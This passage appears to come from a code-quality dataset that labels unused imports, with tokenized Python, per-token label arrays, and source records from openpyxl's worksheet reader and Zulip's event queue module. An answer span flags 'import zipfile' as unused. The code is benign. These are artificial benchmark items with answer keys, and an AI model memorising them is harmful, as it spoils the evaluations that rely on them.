"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"error_",
"(_",
"'",
"Cou",
"ld",
" ",
"not",
" ",
"upload",
" ",
"%",
"s",
" ",
"to",
" ",
"account",
" ",
"%",
"s",
"'_",
"%_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"filename_",
",_",
"account_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"cleanup_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"success_",
"=_",
"self_",
"._",
"log",
"\\u",
"processor_",
"._",
"save",
"\\u",
"process",
"ed",
"\\u",
"files_",
"(_",
"process",
"ed",
"\\u",
"files_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"success_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"error_",
"(_",
"'",
"Error",
" ",
"upload",
"ing",
" ",
"update",
"d",
" ",
"process",
"ed",
" ",
"files",
" ",
"log",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"logger_",
"._",
"info_",
"(_",
"\\u_",
"(_",
"\"",
"Log",
" ",
"process",
"ing",
" ",
"don",
"e",
" ",
"(%",
"0.",
"2f",
" ",
"minute",
"s",
")\"_",
")_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"(_",
"time_",
"._",
"time_",
"(_",
")_",
"-_",
"start_",
")_",
"/_",
"60_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Access",
"Log",
"Deliver",
"y",
"Daemon_",
"(_",
"Daemon_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"run",
"\\u",
"forever_",
"(_",
"self_",
",_",
"*_",
"a_",
",_",
"**_",
"kw_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"while_",
"True_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"start",
"\\u",
"time_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"run",
"\\u",
"once_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Exception_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"logger_",
"._",
"exception_",
"(_",
"'",
"Run",
" ",
"onc",
"e",
" ",
"fail",
"ed",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"end",
"\\u",
"time_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"don",
"'",
"t",
" ",
"run",
" ",
"more",
" ",
"than",
" ",
"onc",
"e",
" ",
"every",
" ",
"self",
".",
"freque",
"nc",
"y",
" ",
"seconds_",
"\\u\\u\\uNL\\u\\u\\u_",
"sleep",
"\\u",
"time_",
"=_",
"self_",
"._",
"frequency_",
"-_",
"(_",
"end",
"\\u",
"time_",
"-_",
"start",
"\\u",
"time_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"time_",
"._",
"sleep_",
"(_",
"max_",
"(_",
"0_",
",_",
"sleep",
"\\u",
"time_",
")_",
")_"
]
| [
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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file openpyxl/reader/iter_worksheet.py\n\n# Copyright (c) 2010 openpyxl\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n#\n# @license: http://www.opensource.org/licenses/mit-license.php\n# @author: Eric Gazoni\n\n\"\"\" Iterators-based worksheet reader \n*Still very raw*\n\"\"\"\n\nfrom io import StringIO\nimport warnings\nimport operator\nfrom functools import partial\nfrom itertools import groupby\nfrom ..worksheet import Worksheet\nfrom ..cell import coordinate_from_string, get_column_letter, Cell\nfrom .excel import get_sheet_ids\nfrom .strings import read_string_table\nfrom .style import read_style_table, NumberFormat\nfrom ..shared.date_time import SharedDate\nfrom .worksheet import read_dimension\nfrom ..shared.ooxml import (MIN_COLUMN, MAX_COLUMN, PACKAGE_WORKSHEETS,\n MAX_ROW, MIN_ROW, ARC_SHARED_STRINGS, ARC_APP, ARC_STYLE)\nfrom xml.etree.cElementTree import iterparse\nfrom zipfile import ZipFile\nfrom .. import cell\nimport re\nimport tempfile\nimport zlib\nimport zipfile\nimport struct\n\nTYPE_NULL = Cell.TYPE_NULL\nMISSING_VALUE = None \n\nRE_COORDINATE = re.compile('^([A-Z]+)([0-9]+)$')\n\nSHARED_DATE = SharedDate()\n\n_COL_CONVERSION_CACHE = dict((get_column_letter(i), i) for i in range(1, 18279))\ndel _COL_CONVERSION_CACHE\n\nRAW_ATTRIBUTES = ['row', 'column', 'coordinate', 'internal_value', 'data_type', 'style_id', 'number_format']\n\ntry:\n from collections import namedtuple\n BaseRawCell = namedtuple('RawCell', RAW_ATTRIBUTES)\nexcept ImportError:\n\n warnings.warn(\"\"\"Unable to import 'namedtuple' module, this may cause memory issues when using optimized reader. Please upgrade your Python installation to 2.6+\"\"\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#------------------------------------------------------------------------------ \n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
}
]
| [
{
"span": "import zipfile",
"start_line": 49,
"start_column": 0,
"end_line": 49,
"end_column": 14
}
]
| []
| 1 | true | [
"[CLS]_",
"Module_",
"is_",
"imported_",
"with_",
"'",
"import",
"'_",
"and_",
"'",
"import",
" ",
"from",
"'_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"file",
" ",
"openp",
"yx",
"l",
"/",
"reader",
"/",
"iter",
"\\u",
"worksheet",
".",
"py_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Copy",
"right",
" ",
"(",
"c",
")",
" ",
"2010",
" ",
"openp",
"yx",
"l_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Permi",
"ssion",
" ",
"is",
" ",
"here",
"by",
" ",
"grant",
"ed",
",",
" ",
"free",
" ",
"of",
" ",
"charge",
",",
" ",
"to",
" ",
"any",
" ",
"person",
" ",
"obtain",
"ing",
" ",
"a",
" ",
"copy_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"of",
" ",
"this",
" ",
"software",
" ",
"and",
" ",
"associate",
"d",
" ",
"documentation",
" ",
"files",
" ",
"(",
"the",
" ",
"\"",
"Sof",
"twa",
"re",
"\")",
",",
" ",
"to",
" ",
"deal",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"in",
" ",
"the",
" ",
"Sof",
"twa",
"re",
" ",
"with",
"out",
" ",
"restriction",
",",
" ",
"inclu",
"ding",
" ",
"with",
"out",
" ",
"limit",
"ation",
" ",
"the",
" ",
"rights_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"to",
" ",
"use",
",",
" ",
"copy",
",",
" ",
"modif",
"y",
",",
" ",
"merge",
",",
" ",
"publi",
"sh",
",",
" ",
"distribute",
",",
" ",
"subli",
"cens",
"e",
",",
" ",
"and",
"/",
"or",
" ",
"sell",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"copie",
"s",
" ",
"of",
" ",
"the",
" ",
"Sof",
"twa",
"re",
",",
" ",
"and",
" ",
"to",
" ",
"permit",
" ",
"person",
"s",
" ",
"to",
" ",
"who",
"m",
" ",
"the",
" ",
"Sof",
"twa",
"re",
" ",
"is_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"fur",
"nish",
"ed",
" ",
"to",
" ",
"do",
" ",
"so",
",",
" ",
"subject",
" ",
"to",
" ",
"the",
" ",
"follow",
"ing",
" ",
"condition",
"s",
":_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"above",
" ",
"copyr",
"ight",
" ",
"notice",
" ",
"and",
" ",
"this",
" ",
"permissi",
"on",
" ",
"notice",
" ",
"sha",
"ll",
" ",
"be",
" ",
"include",
"d",
" ",
"in_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"all",
" ",
"copie",
"s",
" ",
"or",
" ",
"substa",
"nti",
"al",
" ",
"porti",
"ons",
" ",
"of",
" ",
"the",
" ",
"Sof",
"twa",
"re",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"THE",
" ",
"SOFT",
"WARE",
" ",
"IS",
" ",
"PROVI",
"DED",
" ",
"\"",
"AS",
" ",
"IS",
"\",",
" ",
"WITH",
"OUT",
" ",
"WAR",
"RAN",
"TY",
" ",
"OF",
" ",
"ANY",
" ",
"KIND",
",",
" ",
"EXPR",
"ESS",
" ",
"OR_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"IMPL",
"IED",
",",
" ",
"INC",
"LU",
"DING",
" ",
"BUT",
" ",
"NOT",
" ",
"LIMIT",
"ED",
" ",
"TO",
" ",
"THE",
" ",
"WAR",
"RAN",
"TIES",
" ",
"OF",
" ",
"MER",
"CHAN",
"TAB",
"ILI",
"TY",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"FIT",
"NESS",
" ",
"FOR",
" ",
"A",
" ",
"PARTI",
"CUL",
"AR",
" ",
"PUR",
"POS",
"E",
" ",
"AND",
" ",
"NON",
"INF",
"RING",
"EME",
"NT",
".",
" ",
"IN",
" ",
"NO",
" ",
"EVENT",
" ",
"SHA",
"LL",
" ",
"THE",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"AUTHOR",
"S",
" ",
"OR",
" ",
"COPY",
"RIG",
"HT",
" ",
"HOLD",
"ERS",
" ",
"BE",
" ",
"LI",
"AB",
"LE",
" ",
"FOR",
" ",
"ANY",
" ",
"CLA",
"IM",
",",
" ",
"DA",
"MAGE",
"S",
" ",
"OR",
" ",
"OTHER",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"LI",
"ABI",
"LIT",
"Y",
",",
" ",
"WHE",
"THER",
" ",
"IN",
" ",
"AN",
" ",
"ACTI",
"ON",
" ",
"OF",
" ",
"CONTR",
"ACT",
",",
" ",
"TOR",
"T",
" ",
"OR",
" ",
"OTHER",
"WI",
"SE",
",",
" ",
"ARI",
"SIN",
"G",
" ",
"FROM",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"OUT",
" ",
"OF",
" ",
"OR",
" ",
"IN",
" ",
"CONNECTION",
" ",
"WITH",
" ",
"THE",
" ",
"SOFT",
"WARE",
" ",
"OR",
" ",
"THE",
" ",
"USE",
" ",
"OR",
" ",
"OTHER",
" ",
"DEA",
"LING",
"S",
" ",
"IN_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"THE",
" ",
"SOFT",
"WARE",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"@",
"license",
":",
" ",
"http",
"://",
"www",
".",
"opens",
"ource",
".",
"org",
"/",
"license",
"s",
"/",
"mit",
"-",
"license",
".",
"php",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"@",
"author",
":",
" ",
"Eri",
"c",
" ",
"Ga",
"zon",
"i_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
" ",
"Iterat",
"ors",
"-",
"based",
" ",
"worksheet",
" ",
"reader",
" ",
"\\",
"10",
";",
"*",
"Stil",
"l",
" ",
"very",
" ",
"raw",
"*",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"io_",
"import_",
"String",
"IO_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"warnings_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"operator_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"functools_",
"import_",
"partial_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"itertools_",
"import_",
"groupby_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"._",
"worksheet_",
"import_",
"Worksh",
"eet",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"._",
"cell_",
"import_",
"coordinate",
"\\u",
"from",
"\\u",
"string_",
",_",
"get",
"\\u",
"column",
"\\u",
"letter_",
",_",
"Cell_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"excel_",
"import_",
"get",
"\\u",
"sheet",
"\\u",
"ids_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"strings_",
"import_",
"read",
"\\u",
"string",
"\\u",
"table_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"style_",
"import_",
"read",
"\\u",
"style",
"\\u",
"table_",
",_",
"Number",
"Format_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"._",
"shared_",
"._",
"date",
"\\u",
"time_",
"import_",
"Share",
"d",
"Date_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"worksheet_",
"import_",
"read",
"\\u",
"dimension_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"._",
"shared_",
"._",
"oo",
"xml_",
"import_",
"(_",
"MIN",
"\\u",
"COLUMN_",
",_",
"MAX",
"\\u",
"COLUMN_",
",_",
"PACKAG",
"E",
"\\u",
"WORKS",
"HE",
"ET",
"S_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"MAX",
"\\u",
"ROW",
"_",
",_",
"MIN",
"\\u",
"ROW",
"_",
",_",
"ARC",
"\\u",
"SHARED",
"\\u",
"STRING",
"S_",
",_",
"ARC",
"\\u",
"APP_",
",_",
"ARC",
"\\u",
"STYLE_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"xml_",
"._",
"etree_",
"._",
"c",
"Element",
"Tree_",
"import_",
"iter",
"parse_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"zipfile_",
"import_",
"Zip",
"File_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"._",
"._",
"import_",
"cell_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"re_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"tempfile_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"zlib_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"zipfile_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"struct_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"TYPE",
"\\u",
"NULL_",
"=_",
"Cell_",
"._",
"TYPE",
"\\u",
"NULL_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"MISSING",
"\\u",
"VALUE_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"RE",
"\\u",
"COORD",
"INA",
"TE_",
"=_",
"re_",
"._",
"compile_",
"(_",
"'",
"^",
"([",
"A",
"-",
"Z",
"]+)",
"([",
"0",
"-",
"9",
"]+)",
"$'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"SHARED",
"\\u",
"DATE_",
"=_",
"Share",
"d",
"Date_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u",
"COL",
"\\u",
"CONVE",
"RSI",
"ON",
"\\u",
"CACHE_",
"=_",
"dict_",
"(_",
"(_",
"get",
"\\u",
"column",
"\\u",
"letter_",
"(_",
"i_",
")_",
",_",
"i_",
")_",
"for_",
"i_",
"in_",
"range_",
"(_",
"1_",
",_",
"182",
"79_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"del_",
"\\u",
"COL",
"\\u",
"CONVE",
"RSI",
"ON",
"\\u",
"CACHE_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"RA",
"W",
"\\u",
"ATTRIBUTES_",
"=_",
"[_",
"'",
"row",
"'_",
",_",
"'",
"column",
"'_",
",_",
"'",
"coordinate",
"'_",
",_",
"'",
"internal",
"\\u",
"value",
"'_",
",_",
"'",
"data\\u",
"type",
"'_",
",_",
"'",
"style",
"\\u",
"id",
"'_",
",_",
"'",
"number",
"\\u",
"format",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"from_",
"collections_",
"import_",
"namedtuple_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"Base",
"Ra",
"w",
"Cell_",
"=_",
"namedtuple_",
"(_",
"'",
"Ra",
"w",
"Cel",
"l",
"'_",
",_",
"RA",
"W",
"\\u",
"ATTRIBUTES_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Import",
"Error_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"warnings_",
"._",
"warn_",
"(_",
"\"\"\"",
"Una",
"ble",
" ",
"to",
" ",
"import",
" ",
"'",
"namedtupl",
"e",
"'",
" ",
"module",
",",
" ",
"this",
" ",
"may",
" ",
"caus",
"e",
" ",
" ",
"memory",
" ",
"issue",
"s",
" ",
"whe",
"n",
" ",
"usi",
"ng",
" ",
"optimize",
"d",
" ",
"reader",
".",
" ",
"Ple",
"ase",
" ",
"upgrade",
" ",
"your",
" ",
"Pyth",
"on",
" ",
"installation",
" ",
"to",
" ",
"2.6",
"+\"",
"\"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#-",
"--------------",
"--------------",
"--------------",
"--------------",
"--------------",
"-------",
" _",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,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
2,
2,
2,
2,
2,
2
]
|
Unused import | zulip/zulip/zerver/lib/event_queue.py | [
{
"content": "from __future__ import absolute_import\nfrom typing import Any\n\nfrom django.conf import settings\nfrom django.utils.timezone import now\nfrom collections import deque\nimport datetime\nimport os\nimport time\nimport socket\nimport logging\nimport ujson\nimport requests\nimport atexit\nimport sys\nimport signal\nimport tornado\nimport tornado.autoreload\nimport random\nimport traceback\nfrom zerver.decorator import RespondAsynchronously, JsonableError\nfrom zerver.lib.cache import cache_get_many, message_cache_key, \\\n user_profile_by_id_cache_key, cache_save_user_profile, cache_with_key\nfrom zerver.lib.handlers import clear_handler_by_id, get_handler_by_id, \\\n finish_handler, handler_stats_string\nfrom zerver.lib.utils import statsd\nfrom zerver.middleware import async_request_restart\nfrom zerver.lib.narrow import build_narrow_filter\nfrom zerver.lib.queue import queue_json_publish\nfrom zerver.lib.timestamp import timestamp_to_datetime\nimport copy\nimport six\n\n# The idle timeout used to be a week, but we found that in that\n# situation, queues from dead browser sessions would grow quite large\n# due to the accumulation of message data in those queues.\nIDLE_EVENT_QUEUE_TIMEOUT_SECS = 60 * 10\nEVENT_QUEUE_GC_FREQ_MSECS = 1000 * 60 * 5\n\n# Capped limit for how long a client can request an event queue\n# to live\nMAX_QUEUE_TIMEOUT_SECS = 7 * 24 * 60 * 60\n\n# The heartbeats effectively act as a server-side timeout for\n# get_events(). The actual timeout value is randomized for each\n# client connection based on the below value. We ensure that the\n# maximum timeout value is 55 seconds, to deal with crappy home\n# wireless routers that kill \"inactive\" http connections.\nHEARTBEAT_MIN_FREQ_SECS = 45\n\n\ndescriptors_by_handler_id = {} # type: Dict[int, ClientDescriptor]\n\n\n\n\n\n\n# maps queue ids to client descriptors\nclients = {} # type: Dict[str, ClientDescriptor]\n# maps user id to list of client descriptors\nuser_clients = {} # type: Dict[int, List[ClientDescriptor]]\n# maps realm id to list of client descriptors with all_public_streams=True\nrealm_clients_all_streams = {} # type: Dict[int, List[ClientDescriptor]]\n\n# list of registered gc hooks.\n# each one will be called with a user profile id, queue, and bool\n# last_for_client that is true if this is the last queue pertaining\n# to this user_profile_id\n# that is about to be deleted\ngc_hooks = []\n\nnext_queue_id = 0\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# The following functions are called from Django\n\n# Workaround to support the Python-requests 1.0 transition of .json\n# from a property to a function\nrequests_json_is_function = callable(requests.Response.json)\n\n\n\n\n# Send email notifications to idle users\n# after they are idle for 1 hour\nNOTIFY_AFTER_IDLE_HOURS = 1\n\n\n\n\n\n\n\n\n# Runs in the Django process to send a notification to Tornado.\n#\n# We use JSON rather than bare form parameters, so that we can represent\n# different types and for compatibility with non-HTTP transports.\n\n\n\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "class ClientDescriptor(object):\n\n\n\n\n\n\n\n\n # TODO: Refactor so we don't need this function\n\n\n\n",
"metadata": "root.ClientDescriptor",
"header": "['module', '___EOS___']",
"index": 50
},
{
"content": " def __init__(self, user_profile_id, user_profile_email, realm_id, event_queue,\n event_types, client_type_name, apply_markdown=True,\n all_public_streams=False, lifespan_secs=0, narrow=[]):\n # These objects are serialized on shutdown and restored on restart.\n # If fields are added or semantics are changed, temporary code must be\n # added to load_event_queues() to update the restored objects.\n # Additionally, the to_dict and from_dict methods must be updated\n self.user_profile_id = user_profile_id\n self.user_profile_email = user_profile_email\n self.realm_id = realm_id\n self.current_handler_id = None # type: int\n self.current_client_name = None # type: str\n self.event_queue = event_queue\n self.queue_timeout = lifespan_secs\n self.event_types = event_types\n self.last_connection_time = time.time()\n self.apply_markdown = apply_markdown\n self.all_public_streams = all_public_streams\n self.client_type_name = client_type_name\n self._timeout_handle = None # type: Any # TODO: should be return type of ioloop.add_timeout\n self.narrow = narrow\n self.narrow_filter = build_narrow_filter(narrow)\n\n # Clamp queue_timeout to between minimum and maximum timeouts\n self.queue_timeout = max(IDLE_EVENT_QUEUE_TIMEOUT_SECS, min(self.queue_timeout, MAX_QUEUE_TIMEOUT_SECS))",
"metadata": "root.ClientDescriptor.__init__",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 51
},
{
"content": " def to_dict(self):\n # If you add a new key to this dict, make sure you add appropriate\n # migration code in from_dict or load_event_queues to account for\n # loading event queues that lack that key.\n return dict(user_profile_id=self.user_profile_id,\n user_profile_email=self.user_profile_email,\n realm_id=self.realm_id,\n event_queue=self.event_queue.to_dict(),\n queue_timeout=self.queue_timeout,\n event_types=self.event_types,\n last_connection_time=self.last_connection_time,\n apply_markdown=self.apply_markdown,\n all_public_streams=self.all_public_streams,\n narrow=self.narrow,\n client_type_name=self.client_type_name)",
"metadata": "root.ClientDescriptor.to_dict",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 77
},
{
"content": " def __repr__(self):\n return \"ClientDescriptor<%s>\" % (self.event_queue.id,)",
"metadata": "root.ClientDescriptor.__repr__",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 93
},
{
"content": " @classmethod\n def from_dict(cls, d):\n if 'user_profile_email' not in d:\n # Temporary migration for the addition of the new user_profile_email field\n from zerver.models import get_user_profile_by_id\n d['user_profile_email'] = get_user_profile_by_id(d['user_profile_id']).email\n if 'client_type' in d:\n # Temporary migration for the rename of client_type to client_type_name\n d['client_type_name'] = d['client_type']\n ret = cls(d['user_profile_id'], d['user_profile_email'], d['realm_id'],\n EventQueue.from_dict(d['event_queue']), d['event_types'],\n d['client_type_name'], d['apply_markdown'], d['all_public_streams'],\n d['queue_timeout'], d.get('narrow', []))\n ret.last_connection_time = d['last_connection_time']\n return ret",
"metadata": "root.ClientDescriptor.from_dict",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 96
},
{
"content": " def prepare_for_pickling(self):\n self.current_handler_id = None\n self._timeout_handle = None",
"metadata": "root.ClientDescriptor.prepare_for_pickling",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 112
},
{
"content": " def add_event(self, event):\n if self.current_handler_id is not None:\n handler = get_handler_by_id(self.current_handler_id)\n async_request_restart(handler._request)\n\n self.event_queue.push(event)\n self.finish_current_handler()",
"metadata": "root.ClientDescriptor.add_event",
"header": "['class', 'ClientDescriptor', '(', 'object', ')', ':', '___EOS___']",
"index": 116
},
{
"content": " def finish_current_handler(self, need_timeout=False):\n if self.current_handler_id is not None:\n err_msg = \"Got error finishing handler for queue %s\" % (self.event_queue.id,)\n try:\n finish_handler(self.current_handler_id, self.event_queue.id,\n self.event_queue.contents(), self.apply_markdown)\n except Exception:\n logging.exception(err_msg)\n finally:\n self.disconnect_handler(need_timeout=need_timeout)\n return True\n return False",
"metadata": "root.ClientDescriptor.finish_current_handler",
